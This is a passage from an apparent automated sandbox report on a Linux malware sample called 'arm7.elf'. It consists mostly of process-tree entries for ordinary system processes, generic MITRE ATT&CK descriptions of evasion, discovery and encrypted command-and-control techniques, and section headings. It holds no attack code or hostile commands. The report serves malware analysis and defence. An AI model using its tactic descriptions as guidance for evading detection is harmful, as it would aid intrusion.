Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6592, Parent PID: 1900

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: xfce4-session PID: 6597, Parent PID: 1900

General

Start time (UTC):	20:32:17
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfdesktop PID: 6597, Parent PID: 1900

General

Start time (UTC):	20:32:17
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfdesktop
Arguments:	xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542
File size:	473520 bytes
MD5 hash:	dfb13e1581f80065dcea16f2476f16f2

Analysis Process: dbus-daemon PID: 6637, Parent PID: 6636

General

Start time (UTC):	20:32:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Analysis Process: tumblerd PID: 6637, Parent PID: 6636

General

Start time (UTC):	20:32:21
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd
Arguments:	/usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd
File size:	149888 bytes
MD5 hash:	2ef099898845e9c5ec6f1a6fd3ad61af

Analysis Process: xfce4-session PID: 6649, Parent PID: 1900

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6649, Parent PID: 1900

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: systemd PID: 6656, Parent PID: 1

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: systemd-localed PID: 6656, Parent PID: 1

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/lib/systemd/systemd-localed
Arguments:	/lib/systemd/systemd-localed
File size:	43232 bytes
MD5 hash:	1244af9646256d49594f2a8203329aa9

Analysis Process: systemd PID: 6806, Parent PID: 1860

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: gvfs-udisks2-volume-monitor PID: 6806, Parent PID: 1860

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/libexec/gvfs-udisks2-volume-monitor
Arguments:	/usr/libexec/gvfs-udisks2-volume-monitor
File size:	199648 bytes
MD5 hash:	4912ae23684d55062ac889dd671a8ab9

Analysis Process: dbus-daemon PID: 6825, Parent PID: 6824

General

Start time (UTC):	20:32:29
Start date (UTC):	31/12/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Analysis Process: ibus-portal PID: 6825, Parent PID: 6824

General

Start time (UTC):	20:32:29
Start date (UTC):	31/12/2024
Path:	/usr/libexec/ibus-portal
Arguments:	/usr/libexec/ibus-portal
File size:	92536 bytes
MD5 hash:	562ad55bd9a4d54bd7b76746b01e37d3

Analysis Process: xfce4-session PID: 6836, Parent PID: 1900

General

Start time (UTC):	20:32:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6836, Parent PID: 1900

General

Start time (UTC):	20:32:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: Xorg PID: 6893, Parent PID: 1465

General

Start time (UTC):	20:32:36
Start date (UTC):	31/12/2024
Path:	/usr/lib/xorg/Xorg
Arguments:	-
File size:	2448840 bytes
MD5 hash:	730cf4c45a7ee8bea88abf165463b7f8

Analysis Process: sh PID: 6893, Parent PID: 1465

General

Start time (UTC):	20:32:36
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6895, Parent PID: 6893

General

Start time (UTC):	20:32:36
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: xkbcomp PID: 6895, Parent PID: 6893

General

Start time (UTC):	20:32:36
Start date (UTC):	31/12/2024
Path:	/usr/bin/xkbcomp
Arguments:	/usr/bin/xkbcomp -w 1 -R/usr/share/X11/xkb -xkm - -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" /tmp/server-0.xkm
File size:	217184 bytes
MD5 hash:	c5f953aec4c00d2a1cc27acb75d62c9b

Analysis Process: xfce4-session PID: 6909, Parent PID: 1900

General

Start time (UTC):	20:32:40
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6909, Parent PID: 1900

General

Start time (UTC):	20:32:40
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: systemd PID: 6923, Parent PID: 1

General

Start time (UTC):	20:32:41
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: accounts-daemon PID: 6923, Parent PID: 1

General

Start time (UTC):	20:32:41
Start date (UTC):	31/12/2024
Path:	/usr/lib/accountsservice/accounts-daemon
Arguments:	/usr/lib/accountsservice/accounts-daemon
File size:	203192 bytes
MD5 hash:	01a899e3fb5e7e434bea1290255a1f30

Analysis Process: accounts-daemon PID: 6944, Parent PID: 6923

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/lib/accountsservice/accounts-daemon
Arguments:	-
File size:	203192 bytes
MD5 hash:	01a899e3fb5e7e434bea1290255a1f30

Analysis Process: language-validate PID: 6944, Parent PID: 6923

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/share/language-tools/language-validate
Arguments:	/usr/share/language-tools/language-validate en_US.UTF-8
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: language-validate PID: 6945, Parent PID: 6944

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/share/language-tools/language-validate
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: language-options PID: 6945, Parent PID: 6944

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/share/language-tools/language-options
Arguments:	/usr/share/language-tools/language-options
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Analysis Process: language-options PID: 6947, Parent PID: 6945

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/share/language-tools/language-options
Arguments:	-
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Analysis Process: sh PID: 6947, Parent PID: 6945

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	sh -c "locale -a \| grep -F .utf8 "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6949, Parent PID: 6947

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: locale PID: 6949, Parent PID: 6947

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/bin/locale
Arguments:	locale -a
File size:	58944 bytes
MD5 hash:	c72a78792469db86d91369c9057f20d2

Analysis Process: sh PID: 6950, Parent PID: 6947

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: grep PID: 6950, Parent PID: 6947

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -F .utf8
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Analysis Process: systemd PID: 6970, Parent PID: 1

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: geoclue PID: 6970, Parent PID: 1

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/usr/libexec/geoclue
Arguments:	/usr/libexec/geoclue
File size:	301544 bytes
MD5 hash:	30ac5455f3c598dde91dc87477fb19f7

Analysis Process: dbus-daemon PID: 7083, Parent PID: 7082

General

Start time (UTC):	20:32:48
Start date (UTC):	31/12/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Analysis Process: gjs PID: 7083, Parent PID: 7082

General

Start time (UTC):	20:32:48
Start date (UTC):	31/12/2024
Path:	/usr/bin/gjs
Arguments:	/usr/bin/gjs /usr/share/gnome-shell/org.gnome.Shell.Notifications
File size:	23128 bytes
MD5 hash:	5f3eceb792bb65c22f23d1efb4fde3ad

Analysis Process: systemd PID: 7197, Parent PID: 1

General

Start time (UTC):	20:33:07
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: fprintd PID: 7197, Parent PID: 1

General

Start time (UTC):	20:33:07
Start date (UTC):	31/12/2024
Path:	/usr/libexec/fprintd
Arguments:	/usr/libexec/fprintd
File size:	125312 bytes
MD5 hash:	b0d8829f05cd028529b84b061b660e84

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/run/user/1000/dconf/user

/run/user/127/dconf/user

/tmp/server-0.xkm

/var/lib/gdm3/.config/ibus/bus/ee49dfd4fa47433baee88884e2d7de7c-unix-0

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: arm7.elf PID: 6237, Parent PID: 6163

General

Chronological Activities

Analysis Process: arm7.elf PID: 6239, Parent PID: 6237

General

Chronological Activities

Analysis Process: sh PID: 6239, Parent PID: 6237

General

Chronological Activities

Analysis Process: sh PID: 6245, Parent PID: 6239

General

Linux Analysis Report
arm7.elf